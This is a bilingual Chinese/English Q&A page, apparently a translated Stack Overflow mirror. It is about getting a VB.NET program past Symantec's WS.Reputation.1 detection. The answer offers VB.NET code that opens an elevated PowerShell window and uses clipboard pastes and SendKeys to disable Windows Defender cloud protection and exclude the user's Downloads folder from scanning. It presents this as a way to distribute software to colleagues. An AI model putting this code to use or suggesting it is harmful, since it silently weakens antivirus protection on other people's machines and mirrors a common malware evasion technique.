Symantec（赛门铁克）是否将白名单修正为“ WS.Reputation.1”，以警告未来？ [英] Is Symantec whitelisting for fixing 'WS.Reputation.1' warning future proof?

问题描述

我想将VB.NET应用程序分发给我的同事，但不幸的是，Symantec Endpoint Protection正在检测并有时发出 WS.Reputation.1 警告的情况下删除该应用程序可执行文件。经过一些研究，我设法通过将exe文件上传到 https://symsubmit.symantec.com/，并在两天后将其列入白名单。

I wanted to distribute my VB.NET application to my colleagues but unfortunately Symantec Endpoint Protection was detecting and sometimes removing the application executable file with WS.Reputation.1 warning. After some research I managed to resolve this issue by uploading the exe file at https://symsubmit.symantec.com/ and getting it whitelisted after 2 days.

此方法是否可以过时？

Is this method futureproof? Will I have to do this whitelisting every time I build a new version of my application?

推荐答案

嘿，anandhu希望您今天过得愉快吗？

Hey anandhu hope your day is going great!

将您的软件提交给您所提供的链接不是恶意的，只会阻止NortonLifeLock安全删除文件，并且只会针对NortonLifeLock安全进行更新，并且仅在NortonLifeLock同意您的软件为非恶意

submiting your software as nonmalicious to the link you provided will only stop your file from being removed by NortonLifeLock security and will only update for NortonLifeLock security and only if NortonLifeLock agree that your software is nonmalicious

大多数反恶意软件都可以将文件夹添加到排除项中，或者询问删除该软件之前应采取的措施

most antimalware software will have a way to add a folder to exclusions or will ask what actions to take before removing the software

您可以尝试在将软件发送给同事之前，向程序集添加了更多信息，例如公司名称和版权信息

you can try adding more info to the assembly like company name and copyright info before sending your software to your colleagues

我在Windows安全性方面一直存在问题，并且Microsoft不同意我的软件报告

i had ongoing problems with Windows Security and microsoft wasn't agreeing with my reports for my software

因此最终制作并添加了此代码以关闭（云提供的保护）并将下载目录添加到Wi中的（排除项） ndows安全性

so ended up making and adding this code what turns off (Cloud-delivered protection) and adds the downloads directory to the (Exclusions) in Windows Security

Try

    If (Clipboard.ContainsText()) Then

        Dim clipboardtext = My.Computer.Clipboard.GetText()

        Threading.Thread.Sleep(90)

        Dim PowerShell As Process = New System.Diagnostics.Process()

        Threading.Thread.Sleep(90)

        PowerShell.StartInfo.FileName = "powershell.exe"

        PowerShell.StartInfo.Arguments = Nothing

        PowerShell.StartInfo.UseShellExecute = True

        PowerShell.StartInfo.Verb = "runas"

        Threading.Thread.Sleep(90)

        PowerShell.Start()

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Set-MpPreference -MAPSReporting Disable")

        Threading.Thread.Sleep(1900)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Add-MpPreference -ExclusionPath " & Chr(34) & "C:\Users\" & Environment.UserName & "\Downloads" & Chr(34))

        Threading.Thread.Sleep(300)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Set-MpPreference -MAPSReporting Disable")

        Threading.Thread.Sleep(300)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Add-MpPreference -ExclusionPath " & Chr(34) & "C:\Users\" & Environment.UserName & "\Downloads" & Chr(34))

        Threading.Thread.Sleep(300)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(300)

        PowerShell.Kill()

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText(clipboardtext)

        Threading.Thread.Sleep(90)

    Else

        Dim PowerShell As Process = New System.Diagnostics.Process()

        Threading.Thread.Sleep(90)

        PowerShell.StartInfo.FileName = "powershell.exe"

        PowerShell.StartInfo.Arguments = Nothing

        PowerShell.StartInfo.UseShellExecute = True

        PowerShell.StartInfo.Verb = "runas"

        Threading.Thread.Sleep(90)

        PowerShell.Start()

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Set-MpPreference -MAPSReporting Disable")

        Threading.Thread.Sleep(1900)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Add-MpPreference -ExclusionPath " & Chr(34) & "C:\Users\" & Environment.UserName & "\Downloads" & Chr(34))

        Threading.Thread.Sleep(300)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Set-MpPreference -MAPSReporting Disable")

        Threading.Thread.Sleep(300)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Add-MpPreference -ExclusionPath " & Chr(34) & "C:\Users\" & Environment.UserName & "\Downloads" & Chr(34))

        Threading.Thread.Sleep(300)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(300)

        PowerShell.Kill()

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.Clear()

        Threading.Thread.Sleep(90)

    End If

    Threading.Thread.Sleep(90)

Catch ex As Exception



End Try

您还可以使用virustotal来查看要提交非恶意软件的反恶意软件服务

you can also use virustotal to see what antimalware software service to submit your nonmalicious software to

希望这对您有帮助

这篇关于Symantec（赛门铁克）是否将白名单修正为“ WS.Reputation.1”，以警告未来？的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！